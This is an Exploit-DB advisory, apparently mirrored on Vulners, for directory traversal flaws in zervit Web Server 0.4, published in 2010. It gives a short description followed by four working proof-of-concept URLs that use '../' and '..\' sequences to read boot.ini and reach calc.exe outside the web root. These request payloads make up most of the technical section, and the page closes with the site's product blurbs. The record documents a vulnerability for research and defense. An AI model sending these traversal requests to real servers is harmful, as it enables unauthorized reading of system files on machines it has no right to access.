Lucene search
K

Zervit Web Server 0.4 - Directory Traversals

🗓️ 12 May 2010 00:00:00Reported by Dr_IDEType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 301 Views

zervit Web Server 0.4 Directory Traversals vulnerability on Window

Code
###################################################################
#
# zervit Web Server v0.4 Directory Traversals
# Found By:	Dr_IDE
# Date: 	May 12, 2010
# Download:	http://zervit.sourceforge.net/
# Tested on:	Windows 7
#
###################################################################

- Description -

zervit HTTP Server v0.4 is a Windows based HTTP server. This is the latest
version of the application available.

zervit HTTP Server is vulnerable to remote directory traversal attacks. Other traversal bugs
have been released for this server but this can be done from a browser, no need for Host headers.

- Technical Details - (This is with Directory Listing = On or Off)

http://[ webserver IP][:port]index.html?../../../../../boot.ini
http://[ webserver IP][:port]index.html?..\..\..\..\..\boot.ini
http://[ webserver IP][:port]calc.exe?../../../../windows/system32/calc.exe
http://[ webserver IP][:port]calc.exe?..\..\..\..\windows\system32\calc.exe

#[pocoftheday.blogspot.com]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation